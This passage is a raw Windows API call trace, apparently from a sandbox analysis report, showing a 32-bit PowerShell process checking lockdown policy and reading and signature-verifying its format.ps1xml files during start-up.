[5]=0x6, [6]=0xce, [7]=0xc3))) returned 0x0 [0094.555] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xac15271b, Data2=0x891f, Data3=0x4a1d, Data4=([0]=0xbd, [1]=0x56, [2]=0xdf, [3]=0x4c, [4]=0x3c, [5]=0x17, [6]=0x38, [7]=0x3))) returned 0x0 [0094.555] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x7ca908fe, Data2=0x599, Data3=0x4abb, Data4=([0]=0x8c, [1]=0x5c, [2]=0xff, [3]=0xe0, [4]=0x59, [5]=0xf, [6]=0xce, [7]=0x8))) returned 0x0 [0094.555] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0094.555] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.555] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.555] CoTaskMemFree (pv=0x42c9ac0) [0094.555] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.556] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0094.556] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0094.556] WldpGetLockdownPolicy () returned 0x0 [0094.556] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.556] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0094.556] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0094.557] RegCloseKey (hKey=0x528) returned 0x0 [0094.557] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0094.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0094.557] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.557] GetFileType (hFile=0x528) returned 0x1 [0094.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0094.557] GetFileType (hFile=0x528) returned 0x1 [0094.557] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0094.557] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.560] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0094.560] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.560] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0094.560] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.561] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0094.561] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.561] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0094.561] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.561] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0094.562] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0xbf9, lpOverlapped=0x0) returned 1 [0094.562] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5bf9 [0094.562] ReadFile (in: hFile=0x528, lpBuffer=0x6d302f9, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d302f9*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.562] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5bf9 [0094.562] ReadFile (in: hFile=0x528, lpBuffer=0x6d30b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6d30b60*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.563] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.563] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.581] CoTaskMemFree (pv=0x42c9ac0) [0094.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0094.582] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0094.582] WldpGetLockdownPolicy () returned 0x0 [0094.582] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.582] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0094.582] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0094.582] RegCloseKey (hKey=0x6f0) returned 0x0 [0094.582] CloseHandle (hObject=0x528) returned 1 [0094.583] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0094.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0094.583] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6b4663c | out: lpFileInformation=0x6b4663c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5bf9)) returned 1 [0094.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0094.583] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0094.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0094.583] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8d95e79, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5bf9)) returned 1 [0094.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0094.583] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0094.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0094.583] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.584] GetFileType (hFile=0x528) returned 0x1 [0094.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0094.584] GetFileType (hFile=0x528) returned 0x1 [0094.584] WTGetSignatureInfo () returned 0x0 [0094.629] CertDuplicateCertificateContext (pCertContext=0x8c42910) returned 0x8c42910 [0094.629] CoTaskMemAlloc (cb=0x10) returned 0x8c08f30 [0094.629] CoTaskMemAlloc (cb=0x30) returned 0x8bf7408 [0094.629] WinVerifyTrust () returned 0x0 [0094.630] CoTaskMemFree (pv=0x8bf7408) [0094.630] CoTaskMemFree (pv=0x8c08f30) [0094.630] CertFreeCertificateContext (pCertContext=0x8c42910) returned 1 [0094.630] CloseHandle (hObject=0x528) returned 1 [0094.631] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.631] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.631] CoTaskMemFree (pv=0x42c9ac0) [0094.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0094.632] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0094.632] WldpGetLockdownPolicy () returned 0x0 [0094.632] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.632] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0094.632] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0094.632] RegCloseKey (hKey=0x528) returned 0x0 [0094.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.633] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf57a69ca, Data2=0x450, Data3=0x4156, Data4=([0]=0x94, [1]=0x6d, [2]=0xe0, [3]=0x74, [4]=0x8e, [5]=0xcc, [6]=0x8f, [7]=0x2e))) returned 0x0 [0094.633] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x225d369d, Data2=0x811, Data3=0x4f34, Data4=([0]=0x81, [1]=0xeb, [2]=0xb, [3]=0xc3, [4]=0xa1, [5]=0xc6, [6]=0xdc, [7]=0x8a))) returned 0x0 [0094.633] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2dd2f4b4, Data2=0x857f, Data3=0x478b, Data4=([0]=0x80, [1]=0x26, [2]=0xe6, [3]=0x61, [4]=0x94, [5]=0xae, [6]=0x33, [7]=0x15))) returned 0x0 [0094.634] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xfff64fc1, Data2=0xf4dd, Data3=0x4a89, Data4=([0]=0x86, [1]=0x3, [2]=0xae, [3]=0x42, [4]=0xfa, [5]=0xf7, [6]=0x27, [7]=0x9b))) returned 0x0 [0094.634] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9e5af561, Data2=0x6dcf, Data3=0x47dd, Data4=([0]=0xab, [1]=0xb4, [2]=0xb3, [3]=0x88, [4]=0x46, [5]=0xb6, [6]=0x6a, [7]=0xd9))) returned 0x0 [0094.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0094.634] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.634] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.634] CoTaskMemFree (pv=0x42c9ac0) [0094.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0094.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0094.635] WldpGetLockdownPolicy () returned 0x0 [0094.635] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.635] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0094.635] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0094.635] RegCloseKey (hKey=0x528) returned 0x0 [0094.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0094.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0094.635] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.635] GetFileType (hFile=0x528) returned 0x1 [0094.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0094.636] GetFileType (hFile=0x528) returned 0x1 [0094.636] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0094.636] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.691] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0094.691] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.719] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0094.719] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.720] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0094.720] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.720] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0094.720] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.720] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0094.720] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.721] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6000 [0094.721] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.721] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x7000 [0094.721] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.721] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x8000 [0094.721] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.722] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x9000 [0094.722] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6b64514*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.722] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xa000 [0094.722] ReadFile (in: hFile=0x528, lpBuffer=0x6b64514, nNumberOfBytesToRead=0x1000, 